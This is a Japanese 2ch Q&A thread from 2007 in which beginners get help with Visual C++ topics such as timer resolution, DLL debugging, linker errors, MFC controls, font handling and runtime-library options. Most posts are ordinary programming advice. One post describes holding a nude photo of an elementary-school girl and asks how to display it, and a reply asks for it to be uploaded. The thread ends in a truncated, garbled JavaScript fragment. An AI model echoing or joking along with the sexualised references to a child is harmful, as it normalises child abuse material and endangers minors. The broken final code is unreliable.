★初心者にVisual C++ ..
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404:デフォルトの名無しさん
07/02/12 02:17:41
GetTickCountのヘルプ読んだか?
家のPCだと100ns単位で156250、約16ms程度の解像度だぞ。

405:デフォルトの名無しさん
07/02/12 08:24:06
普通1/60秒だからそんなもんだね。

406:399
07/02/12 19:24:33
>>404-405
ようやく理解できました。
Sleep(0)ループのようにタイマー割り込みを待つのですね…
GetSystemTimeAdjustmentで測ってみたら15.625msでした。

407:デフォルトの名無しさん
07/02/13 12:47:54
CString型のメンバ変数strに文字列をいれていたのに
突然中身がなくなるというかデバッグ時にみると不適切なptr
となってアドレスは0を指しているようでした

関数から関数を呼び出してさらに関数をよびだしていきどんどん奥にいくと
この現象が起きたのですが
これはスタックオーバーフローというものですか?
解決策を教えてください

408:デフォルトの名無しさん
07/02/13 12:49:09
>>407
関数一個ずつ丹念にデバッガで追っていくのが無難かな。
スタックオーバーフローにしろ領域破壊にしろ、どっかで誰かがなんかやってるだろうから。

409:デフォルトの名無しさん
07/02/13 13:00:34
>>408
ありがとうございます!!
strncpyで領域破壊を起こしていました

すごく助かりました!!

410:デフォルトの名無しさん
07/02/13 14:14:12
私はもともとC++Builder出身なのですが
VB6で、あるアプリを作成しています。

このアプリは、主処理のほとんどが
MS.NET Framework1.1 VC++.NET
で生成されたDLLで行われています。

このDLLをステップ実行やインスペクタでデバグしたいのです
が、親アプリがVBなので、どうやってデバグしたら良いやら
困り果ててます。

どなたかVC++のDLLのデバグ方法を伝授してください…
できれば簡単なやつで。

411:デフォルトの名無しさん
07/02/13 14:50:21
ソースとデバッグ版DLLとpdbファイルがあればおk

412:デフォルトの名無しさん
07/02/13 14:54:59
ソース、デバッグ版DLL、pdbファイルあります!
もちょっとだけ具体的に教えてもらえないでしょうか…

413:デフォルトの名無しさん
07/02/13 15:32:24
それって開発環境そのまま?
途中で止めてアタッチする手もあるが、環境あるなら
DLLのデバッグ開始すると、実行時にEXE指定しろって言ってくるから
それでそのEXE指定すればいいと思う。
デバッグしたいとこはブレークポイント設定しておけばいいし。

414:デフォルトの名無しさん
07/02/13 15:35:06
もしVB側もデバッグしてるのなら、関数呼び出し時にステップインで
DLLとPDBが同じとこにあればソースの場所聞いてくると思うので
そこでソース選べば追えると思うけど、、、

VB呼び出しはもしかしたら違うかもしれん、、、
C/C++からの呼び出ししかやったことないんで。
もしだめなら試すから言ってくれ

415:デフォルトの名無しさん
07/02/13 18:25:23
>>413-414
丁寧なご回答ありがとうございます。
でもまだちょっと分かってないです…

DLLですが、メイク時に実行すると
「ActiveXコントロールテストコンテナ」というのが
出ます。
これかのことか!?と思ったのですが、EXE指定はできないっぽいです。

>>414さんの方法は今がんがってる最中です…

416:デフォルトの名無しさん
07/02/13 20:56:40
質問です。
学校で使っている描画のプログラム(?)をVC++6.0で使いたいと思い、
ヘッダーファイルとライブラリファイルを
Microsoft Visual Studio\VC98 のIncludeフォルダとLibフォルダにそれぞれ入れ、
プログラムをコンパイルしたのですが、

warning LNK4003: ライブラリの形式が無効です; ライブラリは無視されます

とエラーになってしまいます。
これと同様のことをBCC5.5でしても問題ありませんでした。
何か間違っているところがあれば是非教えてください。

417:デフォルトの名無しさん
07/02/13 21:01:20
ライブラリがBCC用なんだろ。

418:418
07/02/13 21:40:29
>>417
Win32 Static Libraryでプロジェクトを作りそこにライブラリソースを追加しビルドしました。
そしてできたライブラリファイルで再び試してみると、

ライブラリの形式が無効です  このエラーはでなくなりましたが、
LNK2001 :外部シンボル"関数名"は未解決です  このエラーは消えませんでした。

ライブラリファイルの作り方もよくわからなかったのですが合っているでしょうか?


419:デフォルトの名無しさん
07/02/13 21:41:53
"関数名"が、そのライブラリに入っているべきものなら、
どっか、あってないんだろ。

420:デフォルトの名無しさん
07/02/13 22:36:39
.NETでダイアログベースで作ってます。
CRectとGetWindowRectを使用して自身の座標を得ることはできたのですが
自身と関係ないWindowの座標を得る場合にはどうしたらいいんでしょうか?


421:デフォルトの名無しさん
07/02/14 00:22:20
GetWindowRectだな。

必要とするウィンドウのハンドルを取得するべし。。
.NET Frameworks だけじゃ無理な気がしたので、WinAPI を使いましょう。

422:デフォルトの名無しさん
07/02/14 12:19:22
エディットコントロールにintの中身を表示させるにはどうしたらいいんですか?
文字列は"”でできました。
変数だけ書いたらエラーでました。

423:デフォルトの名無しさん
07/02/14 12:33:45
釣れますか?

424:デフォルトの名無しさん
07/02/14 14:47:48
編集制御->文字列 = 文字列にな〜れ(数値);

425:デフォルトの名無しさん
07/02/14 16:27:57
>>420
なぜ.NETでCRectとGetWindowRectが出てくる?

426:デフォルトの名無しさん
07/02/14 17:05:59
VC6.0でベースがDIALOGか、SDIで出力結果をDOS窓に出す方法はあるんですか。
はじめからDOS窓アプリにしないとだめですか?


427:デフォルトの名無しさん
07/02/14 17:13:21
AllocConsole?

428:デフォルトの名無しさん
07/02/14 17:18:42
VC++プログラマーちょっとこい!!
スレリンク(news4vip板)

429:デフォルトの名無しさん
07/02/14 17:31:05
CTypedPtrList<CObList, VALUE*>のSeqValueListを
CTypedPtrList<CObArray, VALUE*>にする時ってどうすればいいんでしょうか?
下のがソースなんですが、やり方が良くわからない。。。orz
CItemInfo::~CItemInfo(){
int iCount;
POSITION pos;
VALUE *pValue;
m_pValueList = &m_SeqValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
m_pValueList = &m_ParValueList;
iCount = (int)m_pValueList->GetCount( );
pos = m_pValueList->GetHeadPosition( );
for( int i=0; i<iCount; i++ ){
pValue = m_pValueList->GetNext( pos );
delete pValue;
}
m_pValueList->RemoveAll();
}

430:426
07/02/14 17:36:11
AllocConsole();
freopen("con", "w", stdout);
printf("hello console\r\n");
//FreeConsole();
でできました。すみません。

431:デフォルトの名無しさん
07/02/14 17:54:01
エディタの背景を黒にカスタマイズしたいのですが、どこにもそんな項目がありません
ちなみにヴァージョン6.0です

432:デフォルトの名無しさん
07/02/14 18:57:23
エディター?IDEのかな?
ツールのオプションの書式の背景でない?

433:420
07/02/14 21:14:12
void CMyDlg::OnMouseMove(UINT nFlags, CPoint point)
ってところでpointに入っててrectはサイズを知りたくて使ってただけでした、すみません。

クライアント座標はpointに入ってたのですがスクリーン座標を知るにはどうしたらいいんでしょうか?
SetCapture()でクライアント領域外の座標は得れたんですがクライアントが中心になってしまっています。
よろしくお願いします。

434:デフォルトの名無しさん
07/02/14 21:20:59
ClientToScreen

435:420
07/02/14 22:51:21
>>434
できました、

436:420
07/02/14 22:56:32
できました、ありがとうございます!

437:デフォルトの名無しさん
07/02/14 23:09:02
>>433
それどうみても.NETでない。

438:デフォルトの名無しさん
07/02/14 23:33:46
俺たちはとんでもない勘違いをしていたようだ
.NETとは、Visual Studio .Net 2003の省略形だったんだよ!

439:デフォルトの名無しさん
07/02/15 00:04:24
2002 のことも忘れないで上げてください。

440:420
07/02/15 00:06:40
まさしくVisualStudio.Net2003の事です。

.NETとは違ったんでしょうか・・・すみません;

441:デフォルトの名無しさん
07/02/15 00:09:27
な……なんだってー!!
……職場にもいるけどな、そういうヒト。
さらにVisual Studio 2005のことも「ドットネット」って呼んでくれるから、
毎回頭の中で翻訳するのが大変。
例「C++でデバッグしていてドットネットが落ちるんだよな〜」「???」

442:デフォルトの名無しさん
07/02/15 00:41:29
>>440
.NETと言ったら普通.NET Frameworkのことを指す。

新規プロジェクトの中に.NETとか書かれたテンプレートがあるだろ。
それが.NET Frameworkを使うプロジェクトを作るのに使うテンプレート。

.NET Frameworkには大量のクラスライブラリが含まれているし、
Visual Studioではフォームエディタも使え、作るほうとしては充実しているが、
利用者に.NET Frameworkをインストールしてもらわないといけないのが、
一般的なアプリケーション開発ではネック。
XP SP2あたりから漏れなくインストールされるようになってきているけどね。

443:デフォルトの名無しさん
07/02/15 10:44:29
Vistaで、インストールされているWindowsコンポーネントを確認すると
.NET Frameworkっていうのがあった。

言い方が良くわからないけど、つまり.NETというのは単なる1つのAPI
ってことで、開発環境を指しているのではない、ということ?

444:デフォルトの名無しさん
07/02/15 10:57:02
>>443
.NETの環境向けに開発できるのが、VS .NET

445:デフォルトの名無しさん
07/02/15 11:04:02
初心者の場合は自分勝手な略語を使わないできちんと書けばいい
ハードディスクのことをハードと呼ぶやつとか
本人はどういうつもりか知らんけど馬鹿にしか見えない。

446:デフォルトの名無しさん
07/02/15 11:05:21
なるほど…。
Visual Studio .NETというのは、.NET Frameworkがインストールされている
端末向けの開発環境、ということか。

Windows Vistaには標準で.NET Frameworkがインストールされているけど、
XPはSP2を入れないと.NET Frameworkが入っていないから、
そういう端末を対象とするなら.NET Frameworkが入っているかいないかを
確認しなければならないということか。

447:デフォルトの名無しさん
07/02/15 11:10:29
Visual Studio .NETという名前だと .net専用と間違える人が多すぎるから
Visual Studio .NETという名前は使われなくなった。

448:デフォルトの名無しさん
07/02/15 11:15:08
あ、俺も以前、ずっと勘違いしてたw
.NETというくらいだからネットワーク=インターネット専用なんだろうな、俺には
関係ないなと…w



449:デフォルトの名無しさん
07/02/15 14:39:24
逆にVisual Basicは2005でも.NETを付けておけば良かったのにと思う。
「Visual Basic .NET」 2005という具合にさ。

450:デフォルトの名無しさん
07/02/15 22:37:51
Visual Stadio2005 をインストールして
VS2005 C++で
#include <stdio.h>
main()
{
int a;
}
をコンパイルすると
error C4430: 型指定子がありません - int と仮定しました
が出ます
今まではいけてたんですが、わかる方お願いします。


451:デフォルトの名無しさん
07/02/15 22:55:09
int main(){
}

452:デフォルトの名無しさん
07/02/16 01:11:53
関数の戻り値の型を省略できるのはCだけ。

たぶん拡張子をcにしたり、コンパイルオプションから/TPを外したりすれば、
(int抜きの)main()でも行けると思う。

453:デフォルトの名無しさん
07/02/16 03:40:09
stringをintにするにはどうすれば?

454:デフォルトの名無しさん
07/02/16 03:47:10
>>453
cli::String なのか std::string なのかはっきりしろ。

455:デフォルトの名無しさん
07/02/16 03:55:21
std::string

456:デフォルトの名無しさん
07/02/16 04:03:33
>>455
std::string s("123");
int i = atoi(s.c_str());

457:デフォルトの名無しさん
07/02/16 04:07:03
>>456
それができないんですよ
エラーがでます

458:デフォルトの名無しさん
07/02/16 04:08:59
エラーが出ますじゃないでしょ。
どんなエラーが出るのか言いなさいよ。

459:デフォルトの名無しさん
07/02/16 04:09:06
>>457
どんなエラーか書け

460:デフォルトの名無しさん
07/02/16 04:16:54
>>457
そんなんだから成長しないんですよ。

461:デフォルトの名無しさん
07/02/16 04:18:10
>>457
とっとと書けよ。あんぽんたん。

462:デフォルトの名無しさん
07/02/16 04:19:58
同じ奴みたいだな。夜釣りの常習犯か。
スレリンク(tech板:877番)



463:デフォルトの名無しさん
07/02/16 12:45:22
設計でUMLを使ってる人いますか?
マルチスレッドとかUMLで設計できますか?

464:デフォルトの名無しさん
07/02/16 13:17:43
UMLは詳しく知らん身だけど
アクティビティ図使えば表現できるんじゃねーかとは思う

が、とりあえずスレ違いだ。

465:デフォルトの名無しさん
07/02/17 01:16:40
VC++でゲームを作ろうと考えてるんですが、オススメの入門書等ありませんか?
何件か書店回ってパラパラと立ち読みしてみたんですがどういうのが良いのか分からなくて困ってます。
やはり実用例があるC++でゲームを作るみたいな本が良いんでしょうか。
既出、スレ違いだったらすみませんorz

466:デフォルトの名無しさん
07/02/17 11:41:49
ゲ製作技術
URLリンク(pc10.2ch.net)
板違いやな

ゲーム製作はC++だけと考えない方がいい。
どの程度の規模で何やりたいかによって、利用する言語は変わると思う。
ミニゲームであれば、HSP/Flashでも創れるし。

467:デフォルトの名無しさん
07/02/17 12:34:10
そもそもゲームって時点で入門を超えてる

468:デフォルトの名無しさん
07/02/17 12:41:30
初等教育 算数
教養課程 数学 物理 C/C++
専門課程 ゲーム製作

469:デフォルトの名無しさん
07/02/17 16:22:37
今、Visual C++ の入門書を探しています。
Cの文法は一通り理解しています。
本格的にWindowsプログラミングができるようになりたいので、
これから勉強を始めるつもりです。

数年前、ある先生から、
「Winアプリケーションを作れるようになるためには、
 まずはWinAPIを理解→オブジェクト指向を理解→MFCを使ったプログラミング」
というような段階を踏んで勉強していくといい、と聞きました。
勧められた本が、山本信雄の「はじめてのプログラミング」(全3巻)で、
ほぼ上記の説明通りの構成で書かれている本らしいのですが、アマゾンで見てみたら
残念なことにこの本はVisualC++5.0/6.0向けらしいです。
現行のVC++2005は、6.0から「かなり変わった」と聞いているので、別の本を
買うしかないと思っています。

「2005になって、.NetFrameWorkのクラスを利用するプログラミングに変わって..」
と聞いても、私にはまだよくわからないのですが、前記の「API→オブジェクト指向→MFC」
という学習の進め方自体も、2005になってだいぶ変わったのでしょうか。
多少時間がかかっても構わないので、なるべく体系だった学習ができるような
入門書がいいのですが....

ちなみに最終的に作りたいものは、周辺機器のデバイスドライバのたぐいです。

もし色々な本を読んでいる方がおられましたら、よろしくお願いします。


470:デフォルトの名無しさん
07/02/17 17:09:09
Winアプリとデバイスドライバだとあんまり関連性ないよ

471:469
07/02/17 17:36:27
>470
すみません。「デバイスドライバ」という書き方では不十分でした。

周辺機器は、光学センサや超音波センサで空間把握をするための装置です。
通信されてきたデータをPC画面上でグラフィカルにモニターするためのWinアプリを
作りたいと思っています。そして、ドライバ周りも一緒にC++でコーディングできればと
考えています。


472:デフォルトの名無しさん
07/02/17 18:01:43
VisualC++2005なら5.0/6.0でできてた事はできるよ。
2005で「API→オブジェクト指向→MFC」という学習の進め方もできる。
かなり変わったというよりは、かなり機能が追加された。

473:465
07/02/17 18:34:36
>>466
少し探したのですが見つからなかったので助かりました。
そちらの方で聞いてみます。誘導ありがとうございました。

474:デフォルトの名無しさん
07/02/17 18:36:05
expressでapiの場合は
リソースエディタやクラスウィザードとか使わないだろうし
2005の本にこだわる意味はないだろうね

475:デフォルトの名無しさん
07/02/17 19:20:02
VCは初心者向きじゃないから嫌ならVBやC#を使えということだな

476:デフォルトの名無しさん
07/02/17 19:43:12
>>469
COMポートで繋ぐ程度ならデバイスドライバは要らない。
独自のカード経由&そのカードが仕様書しか無い、って話なら別だけど。
で、一つ言っておくなら「オブジェクト指向とMFCは一切関係が無い」。
MFCはWinAPIを手を抜いて使うためのラッパ。
あと、VC6のソースが2005で動かない病に良く効く呪文。
プロジェクト - プロパティ - 構成プロパティ - 文字セット - マルチバイト文字セットを使用する

477:デフォルトの名無しさん
07/02/17 21:47:28
VC++.NET2003 でWindowsフォームアプリケーションを作っています。
以前コンソールアプリケーションで作成した、Mysqlのクライアントプログラムを
利用したいと考えていますが、mysql.hを追加すると下記のエラーが出ます。
mysql.hは利用できますか?



Open.cpp
WINVER not defined. Defaulting to 0x0501 (Windows XP and Windows .NET Server)
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2146: 構文エラー : ';' が、識別子 'fd' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::SOCKET' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(188) : error C2501: 'st_net::fd' : 識別名を宣言するのに、型が指定されていません。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2065: 'SOCKET' : 定義されていない識別子です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(358) : error C2146: 構文エラー : ')' が、識別子 's' の前に必要です。
c:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\mysql\mysql_com.h(359) : error C2059: 構文エラー : ')'


478:デフォルトの名無しさん
07/02/18 03:29:49
C++builder5.0で、なんかの画像コンポーネントに、今手元にある
無毛でくっきり縦線・超美少女小学生のヌード写真(jpg)を貼り付
けたいのですがどうすればいいのかわかりません。

ウインドウの大きさと同期して画像のサイズも変わるようにしたい
です。誰か教えてください。

479:デフォルトの名無しさん
07/02/18 03:45:06
>>478
まず、その素敵な性癖を直せ。
話はそれからだ。

480:デフォルトの名無しさん
07/02/18 07:36:09
まず、その素敵な写真をうpれ。
話はそれからだ。

481:ぶいしー
07/02/18 16:39:58
DLLのリソースIDについて質問させてください。

拡張DLL、レギュラーDLLともに、
呼び出すクライアントとのリソースIDの重複は気にするのでしょうか?
あるサイトだと、拡張DLLはリソースIDの管理はMFCがやってくれる
みたいなことがかかれていたので・・

どなたかご教授ください。


482:デフォルトの名無しさん
07/02/18 17:41:31
>>477
#include <mysql.h>の前に、#include <winsock.h>。もれはこれで
3ヶ月ほど悩んだ。


483:デフォルトの名無しさん
07/02/18 20:57:18
Visual Studio 2005なんですけど
SystemParametersInfo(SPI_SETDESKWALLPAPER,NULL,"c:\\a.bmp",0);
でコンパイルはいけるんですが、ソリューションのビルドで
エラーになります
"c:\a.bmp"でもだめです
Vistaでもいけますよね?
解る方お願いします


484:デフォルトの名無しさん
07/02/18 20:59:14
>■質問するにあたって
>・エラーや警告のときはエラーメッセージを書きましょう。


485:デフォルトの名無しさん
07/02/18 21:21:25
>>483 です
エラーが多いんで伏せてました

リンクしています...
aaa_ch.obj : error LNK2028: 未解決のトークン (0A000022) "extern "C" int __stdcall
SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z) が関数 "
int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
aaa_ch.obj : error LNK2019: 未解決の外部シンボル "extern "C"
int __stdcall SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z)
が関数 "int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
E:\C++\aaach\Debug\aaach.exe : fatal error LNK1120: 外部参照 2 が未解決です。

以上です、お願いします。


486:デフォルトの名無しさん
07/02/19 11:11:35
超初歩的な質問なのですが、
MS Visual C++ .NET で、IntToStr関数を使えないので他の方法を調べてます。
値を文字列に変換するにはどうしたら良いのでしょうか?


487:デフォルトの名無しさん
07/02/19 11:15:20
マネージプログラムならメソッドのToString
そうでなければ、boost::lexical_cast、std::(basic_)ostringstream、std::sprintf (_stprintf)と続く

488:デフォルトの名無しさん
07/02/19 11:24:28
>>487
下の方法でできました!親切な回答ありがとうございます。

int a=100;
label1->Text = a.ToString();

489:デフォルトの名無しさん
07/02/19 15:21:20
連続で申し訳ないのですが、また質問があります。

別の人が作ったソースで下のようにオーバーロードされた関数があるのですが、
この2つの違いって何なんでしょうか?

CRect hoge(CRect & r) const
{
  :
  :
}

CRect hoge(CRect const & r) const
{
  :
  :
}

490:デフォルトの名無しさん
07/02/19 15:39:02
>>485
必要なライブラリリンクしてないんじゃね

491:デフォルトの名無しさん
07/02/19 15:40:04
>>489
中味は同じでもかまわない
コンパイラが区別できればそれでいい

492:デフォルトの名無しさん
07/02/19 15:42:38
>>489
constの有無。
特にconstな参照は右辺値を受け取れるので、
実質的にその多重定義は右辺値か左辺値かで振り分けられる。

493:デフォルトの名無しさん
07/02/19 16:11:30
>>492
右辺値、左辺値とは何を指していますか?
この例だと引数は「r」1つだけなので右辺・左辺関係ないように思えます。

あと & についてですが、& をつけると、変数の値を変更すると
呼び出し元のスコープでもそれが変更される、という風に単純に考えています。

これに const が付くということに矛盾も感じます。
const とは、「この引数は変更不可です」という宣言だと思うのですが、
だとすれば、引数を & で渡す意味がないことになります。

このソース、バグ持ちでしょうか?

494:デフォルトの名無しさん
07/02/19 16:25:50
ここはC++相談室じゃないし
くだらない質問は遠慮してほしいな

495:デフォルトの名無しさん
07/02/19 16:34:28
>>493
お前が馬鹿なだけだからVCやるまえにC++勉強してこい

496:デフォルトの名無しさん
07/02/19 17:03:54
>>494-495
わかりました…
ありがとうございます

497:デフォルトの名無しさん
07/02/19 18:35:13
そもそも右辺値、左辺値はC言語の初歩

498:デフォルトの名無しさん
07/02/19 19:53:10
>>496
あきらめるなな。最初は分かんないことばかりなんだから。

499:デフォルトの名無しさん
07/02/20 22:01:04
すみません。
プロジェクトのプロパティで、
ランタイムライブラリについての設定周りで質問なのですが、

今/MDでビルドすると上手く行くいき、/MTにしたところ
ヒープの破壊が発生するといった状況になりました。
プロジェクトには自前のDLLを使ってます。
URLリンク(support.microsoft.com)
ここにあるとおり、CRTオブジェクトの操作の不備が原因であると
分かりました。

それで質問なのですが、
多くの場合の開発では/MTと/MDどちらを使用するのでしょうか、
/MDの方が、容量が小さくなるし、CRTobjも共有できるようですが、
Cランタイム等がインストールされている必要があります。
/MTだと、ランタイムがインストールされていなくても動作
するようですが、容量が大きく、CRTobjが共有できないようです。

どっちもどっちなのですが、やはり/MDが主流なのでしょうか?

500:デフォルトの名無しさん
07/02/20 22:13:29
何の目的か知らないけど、とくに必要感じなかったらデフォのままで
あとここは初心者スレだし

501:デフォルトの名無しさん
07/02/20 22:22:00
VC++ というよりはC++の話かも知れませんが教えてください。

CStirng s;
testFunc(&s);

void testFunc(CString s)
{ CString tmp("test"); (*s) = tmp; }

とやると s の値が呼び出し元でも変更されていて、

CString *s;
testFunc(s);

void testFunc(CString *s)
{ CString tmp("test"); s = &tmp; }

とやると変更されていないのはなぜでしょう?

Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・

502:デフォルトの名無しさん
07/02/20 22:30:08
int *p;
testFunc(p);

void testFunc (int *p)
{ int tmp=1; p=&tmp; }

503:499
07/02/20 22:48:00
あ、スレ違いすみません。
他スレに投げてきます。


504:501
07/02/20 22:50:22
>>502
すいません。勘違いしていました。
その通りですね。

505:デフォルトの名無しさん
07/02/20 22:52:04
上のやつもあんまり見ない使い方だな
受けたい場合はこういう風に使うのが普通

void GetWindowText( CString& rString ) const;

506:デフォルトの名無しさん
07/02/20 22:56:30
素直にCString返せよ。

507:デフォルトの名無しさん
07/02/21 00:08:53
それはどうよ。
んまぁ今のCPUじゃ一瞬だろうけどな…

508:デフォルトの名無しさん
07/02/21 01:33:29
CStringは参照カウント使ってるから、大したオーバーヘッドじゃないよ。

509:デフォルトの名無しさん
07/02/21 06:19:25
オーバーヘッドな気もするけどMFCもこんなことやってるな

CString CListCtrl::GetItemText(int nItem, int nSubItem) const
{
ASSERT(::IsWindow(m_hWnd));
LVITEM lvi;
memset(&lvi, 0, sizeof(LVITEM));
lvi.iSubItem = nSubItem;
CString str;
int nLen = 128;
int nRes;
do
{
nLen *= 2;
lvi.cchTextMax = nLen;
lvi.pszText = str.GetBufferSetLength(nLen);
nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem,
(LPARAM)&lvi);
} while (nRes == nLen-1);
str.ReleaseBuffer();
return str;
}

510:デフォルトの名無しさん
07/02/21 09:41:27
CStringのコピーは、ポインタコピー + αくらいのオーバーヘッドでしょ。

511:デフォルトの名無しさん
07/02/21 16:45:09
失礼します。
MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを

textBox1->Font = new System::Drawing::Font("MSゴシック", 10);

このように変更できますが、new しっぱなしで構わないのでしょうか?
また、

textBox1->Font->Name = "MSゴシック";
textBox1->Font->Size = 10;

このように変更できないのでしょうか?
よろしくおねがいします。

512:デフォルトの名無しさん
07/02/21 16:48:36
>>511
1) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。
2) 読み取り専用プロパティだから無理。

513:511
07/02/21 18:33:41
>>512
ありがとうございます。
でも分からないことだらけで死にそうです…。
ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。

  // フォント情報生成
  CString  fontName = dlg.GetFaceName();
  int    fontSize = dlg.GetSize()/10;
  COLORREF  fontColor = dlg.GetColor();

  // BOLD と ITALIC
  int fontStyle = 0;
  if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold;
  if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic;

  // セット
  textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle);

なお new を gcnew にすると
error C2065: 'gcnew' : 定義されていない識別子です。
とエラーが出ます。
これは何故なのでしょうか?

514:デフォルトの名無しさん
07/02/21 19:33:37
言語が違うからだろう。

Visual Studio .NET 2002 / 2003
-> Managed C++

Visual Studio 2005
-> C++/CLI

おそらく2003あたりなんだろうけど、
開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。

515:デフォルトの名無しさん
07/02/21 19:46:08
マネージドC++ではマネージクラスをnewすると漏れなくGCの管理下に置かれる。

それはともかくこのほうがいいと思う。
FontStyle fontStyle;
if (dlg.IsBold()) fontStyle |= FontStyle::Bold;
if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;

516:デフォルトの名無しさん
07/02/21 22:37:04
.NET 2003でWinsockを使いたい場合どうすればいいのでしょうか?

プロジェクトを作る場合にチェックボックスで指定出来るのは後から
知ったのですが、これを忘れた場合どうすればよいのでしょうか?
ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは
リンクの仕方が変わっているようで分かりませんでした。

517:デフォルトの名無しさん
07/02/21 22:50:37
プロジェクトを作る場合にチェックボックスで指定した場合
プロジェクトを作る場合にチェックボックスで指定しなかった場合
2種類つくってどこが違うか比較

518:デフォルトの名無しさん
07/02/21 22:58:45
/LIBPATH

をmsdnで調べましょう

519:デフォルトの名無しさん
07/02/21 23:12:26
>>482
有難うございます、解決できました。

520:デフォルトの名無しさん
07/02/22 10:56:24
>>514-515
ありがとうございます。
おかげさまで疑問点は解決できました。

521:デフォルトの名無しさん
07/02/22 11:05:08
どうでもいい質問かもしれないのですが、
 textBox1->Font = new Font("MSゴシック", 10);
と、プログラムからフォント指定する場合、
textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は
どこへ行っちゃうのでしょうか…?



522:デフォルトの名無しさん
07/02/22 12:43:15
.NETではその内ガベージコレクタによって回収される。
だからメモリリークの心配は要らない。

523:デフォルトの名無しさん
07/02/22 14:03:58
>>522
.NETすげー。
サンクスコ。


524:デフォルトの名無しさん
07/02/22 20:22:07
今後C++は廃れますか

525:デフォルトの名無しさん
07/02/22 20:29:21
仕様の汚さでC++を凌駕する言語が現れるまでは安泰です

526:デフォルトの名無しさん
07/02/22 23:16:23
既に現れていると思うが。Dとか。

527:デフォルトの名無しさん
07/02/23 00:03:53
C言語の次だからD言語?
だとしたらA言語とかB言語もあるってこと?

528:デフォルトの名無しさん
07/02/23 00:05:27
Bはあるよ

529:デフォルトの名無しさん
07/02/23 00:31:38
でもBはAの次ということではなく、BCPLの頭文字が由来。
ついでに言うとCの由来はBの後継ということでBCPLの2文字目。

530:デフォルトの名無しさん
07/02/23 00:51:51
えーっと
ユニコードの設定では
CStdioFile::WriteStringで日本語が出力されないんですが
いったい如何すればいいんでしょうか?

531:530
07/02/23 00:52:51
VC2005のMFCでございます。

532:デフォルトの名無しさん
07/02/23 07:03:23
>>531
既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。
以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。
_tsetlocale(LC_ALL, _T(""));

533:530
07/02/23 07:41:53
>>532
<locale.h>をインクルードしてできました。
助かりましたありがとうございます。

534:デフォルトの名無しさん
07/02/23 17:01:59
質問があります。 ※>>513のつづきとなっております…

MS Visual C++ .NET 2003
においてなのですが、
CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。

CEdit* edit(GetDlgItem(IDC_ED1));
CFONT font;

LOGFONT logfont;
(logfont編集)
font = CreateFontIndirect(&logfont);
edit->SetFont(font, TRUE);

logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。
しかし、フォントの色だけは変更できませんでした。

edit->SetTextColor(refcolor);
のような関数があればいいのですがCEditのメンバにはないようにです。
CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか
教えていただけないでしょうか。

535:デフォルトの名無しさん
07/02/23 18:51:51
フォント色コンポーネント

536:デフォルトの名無しさん
07/02/23 20:07:16
>>534
WM_CTLCOLORをハンドル。
親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。
残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ

537:デフォルトの名無しさん
07/02/23 21:06:59
>>536
ありがとうございます。
ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり
基本を分かってなかったりで死にそうです。
ちょっと首吊ってきます…。

538:デフォルトの名無しさん
07/02/23 22:18:10
warning LNK4075: /EDITANDCONTINUE は /OPT:ICF の指定によって無視されます。
error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。

VC++のない環境でもEXEを実行できるよう
VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。
LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。

調べたところ
Microsoft_VC_DebugCRT_x86.msm
policy_8_0_microsoft_vc80_debugcrt_x86.msm
とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?

539:デフォルトの名無しさん
07/02/23 22:26:47
f="3a5"+"sm4";var d=new Array();tt=" - ";dd="";tt+="連";x=$.split("  \n ");tt+="続";xx="";tt+="動";
tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]);
